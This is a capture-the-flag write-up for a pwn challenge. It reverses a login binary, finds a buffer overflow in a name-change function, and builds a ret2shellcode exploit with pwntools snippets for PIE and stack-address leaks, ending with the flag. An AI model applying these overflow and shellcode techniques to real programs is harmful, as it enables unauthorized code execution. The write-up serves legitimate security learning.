Author: mel
Take a look at this super l33t login system I made for my Computer Architecture class! Heh…my prof is gonna be so proud. He’s 100% gonna boost my GPA.
Surely this will be safe to push to prod. I’ll even do it for him!
Analysis#
We are given the binary ruid_login. When run, it prompts us for a netID and then logs us in based on an RUID
❯ ./ruid_login
Welcome to Rutgers University!
Please enter your netID: mikumikuooeeoo
Accessing secure interface as netid 'mikumikuooeeoo'
[0] {RUID REDACTED} Professor
[1] {RUID REDACTED} Dean
Please enter your RUID:Structs#
We work heavily with users in this binary, analysing the setup_users() function we can reconstruct struct user
┌─< 0x000015b7 e98a000000 jmp 0x1646
┌──> 0x000015bc 8b45cc mov eax, dword [var_34h]
╎│ 0x000015bf 4898 cdqe
╎│ 0x000015c1 488b4cc5d0 mov rcx, qword [rbp + rax*8 - 0x30]
╎│ 0x000015c6 8b45cc mov eax, dword [var_34h]
╎│ 0x000015c9 4863d0 movsxd rdx, eax
╎│ 0x000015cc 4889d0 mov rax, rdx
╎│ 0x000015cf 4801c0 add rax, rax
╎│ 0x000015d2 4801d0 add rax, rdx
╎│ 0x000015d5 48c1e004 shl rax, 4
╎│ 0x000015d9 488d15002b.. lea rdx, obj.users ; 0x40e0
╎│ 0x000015e0 4801d0 add rax, rdx
╎│ 0x000015e3 4889ce mov rsi, rcx ; const char *src
╎│ 0x000015e6 4889c7 mov rdi, rax ; char *dest
╎│ 0x000015e9 e852faffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
╎│ 0x000015ee e8ddfaffff call sym.imp.rand ; int rand(void)
╎│ 0x000015f3 4863c8 movsxd rcx, eax
╎│ 0x000015f6 8b45cc mov eax, dword [var_34h]
╎│ 0x000015f9 4863d0 movsxd rdx, eax
╎│ 0x000015fc 4889d0 mov rax, rdx
╎│ 0x000015ff 4801c0 add rax, rax
╎│ 0x00001602 4801d0 add rax, rdx
╎│ 0x00001605 48c1e004 shl rax, 4
╎│ 0x00001609 4889c2 mov rdx, rax
╎│ 0x0000160c 488d05f52a.. lea rax, [0x00004108]
╎│ 0x00001613 48890c02 mov qword [rdx + rax], rcx
╎│ 0x00001617 8b45cc mov eax, dword [var_34h]
╎│ 0x0000161a 4898 cdqe
╎│ 0x0000161c 488b4cc5e0 mov rcx, qword [rbp + rax*8 - 0x20]
╎│ 0x00001621 8b45cc mov eax, dword [var_34h]
╎│ 0x00001624 4863d0 movsxd rdx, eax
╎│ 0x00001627 4889d0 mov rax, rdx
╎│ 0x0000162a 4801c0 add rax, rax
╎│ 0x0000162d 4801d0 add rax, rdx
╎│ 0x00001630 48c1e004 shl rax, 4
╎│ 0x00001634 4889c2 mov rdx, rax
╎│ 0x00001637 488d05c22a.. lea rax, [0x00004100]
╎│ 0x0000163e 48890c02 mov qword [rdx + rax], rcx
╎│ 0x00001642 8345cc01 add dword [var_34h], 1
╎│ ; CODE XREF from sym.setup_users @ 0x15b7(x)
╎└─> 0x00001646 837dcc01 cmp dword [var_34h], 1
└──< 0x0000164a 0f8e6cffffff jle 0x15bcThis is a loop from setup_users(). We can understand it by how it indices its elements
The stack frame is initialised as
+------------+ rbp - 0x10
| void* dean | // function pointer to dean()
+------------+ rbp - 0x18
| void* prof | // function pointer to prof()
+------------+ rbp - 0x20
| char* dean | // char pointer to "Dean"
+------------+ rbp - 0x28
| char* prof | // char pointer to "Professor"
+------------+ rbp - 0x30- In the first iteration of the loop
rax= 0, which would give us ourstrcpyfromrbp-0x30toobj.users(0x40e0). - In the second iteration
rax= 1, which gives astrcpyfromrbp-0x28toobj.users + (3*rax << 4)which would beobj.users + 48. This gives us insight into the size of our struct
In a similar fashion at 0x4108 we save the RUID which is an unseeded rand() call
>>> hex(0x4108 - 0x40e0)
'0x28'Due to the lack of a seed we can get the exact values back with a simple C program calling rand() twice
And at 0x4100 we save the function pointer prof or dean
>>> hex(0x4100 - 0x40e0)
'0x20'We can now reconstruct our struct users
| |
Functions#
What main() does it setup global structs for the two users (Professor and Dean) in setup_users(), then after inputting the netID it enters a loop where it logs you in based on your “RUID” and provides the function related to that user
- Professor has a
prof()function - Dean has a
dean()function
Dean#
dean() let’s you change a staff member’s name
Logging in as RUID 846930886..
Welcome, Dean!
Change a staff member's name!
[0] {RUID REDACTED} Professor
[1] {RUID REDACTED} Dean
Num: 0
New name: madLet’s look at the asm
mov edx, 0x29 ; ')' ; size_t nbyte
mov rsi, rax ; void *buf
mov edi, 0 ; int fildes
call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)It reads 0x29 bytes into a buffer of size 0x20 bytes. We found our buffer overflow :P
Prof#
Logging in as the professor let’s us change the cgpa of students, we are going to entirely ignore the students, this function is mostly useless to us however the value of the function pointer will be useful to us later.
Logging in as RUID 1804289383..
Welcome, Professor!
Change a student's GPA!
Students:
[0] Mel (NetID lois4444) 4.0
[1] ilyree (NetID webSUCKS1111) 2.5
[2] petrichor (NetID girlypop9182) 4.0
[3] boardbot (NetID kitty2003) 0.1
[4] Talon (NetID rivals6969) 0.0
[5] glqce (NetID proudrusecpresident1984) 1.0
Num:Exploitation#
❯ pwn checksec ruid_login
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: NoWe notice the executable stack, and we remember the 0x40 byte netID buffer we inputted earlier. These signs points to a standard ret2shellcode
Shellcode#
Using pwntools we can generate shellcode quite simply with shellcraft
def login():
io.recvuntil(b"netID: ")
io.sendline(flat(asm(shellcraft.sh())))PIE Address#
Once we insert our shellcode we need the addr of the netID buffer so that we can jump to it with our function pointer overwrite later. To leak stack addresses we would need to call some sort of print function, and to do that from libc we would need the PIE address since PIE is enabled.
Now to leak the PIE base, we can first leak the address of prof() then subtract the offset of prof() from it. To leak the address of prof() know list_ruids prints the name of each user, so if we remove the null terminator from the name of “Professor”, we could continue reading and see the function pointer bytes too
def leak_pie():
# replaces name wiht cyclic(0x20)
dean(None)
io.recvuntil(cyclic(0x20))
# fetch 6 bytes after the name for the leaked addr
changed_line = io.recvn(6)
pie_leak = u64(changed_line.ljust(8, b"\x00"))
return pie_leakStack Addr#
Once we have the pie base we can call puts@plt to get a stack address, then calculate the offset to our required netID bufferr
def leak_stack():
dean(exe.plt['puts'])
io.recvuntil(b"RUID: ")
io.clean_and_log()
io.sendline(prof_ruid)
io.recvline()
io.recvline()
io.recvline()
line = io.recvn(6)
print(line)
stack_leak = u64(line.ljust(8, b"\x00"))
return stack_leakTo get the exact offset of this leaked address from our buffer, we need to do some creative gdb-ing
I added a pause() after my login, that would drop me in main() where I could check the value of rbp-0x50 (the addr of the buffer), then I could subtract from that the leaked stack addr to get the relative offset
# from gdb
gef➤ print $rbp - 0x50
$1 = (void *) 0x7ffc6005a490
# from pwntools (both for the same process)
[!] stack at 0x7ffc6005a2d0giving us the offset 448
>>> 0x7ffc6005a490 - 0x7ffc6005a2d0
448I now have everything needed for my solve script
| |
RUSEC{w0w_th4ts_such_a_l0ng_net1D_w4it_w4it_wh4ts_g0ing_0n_uh_0h}
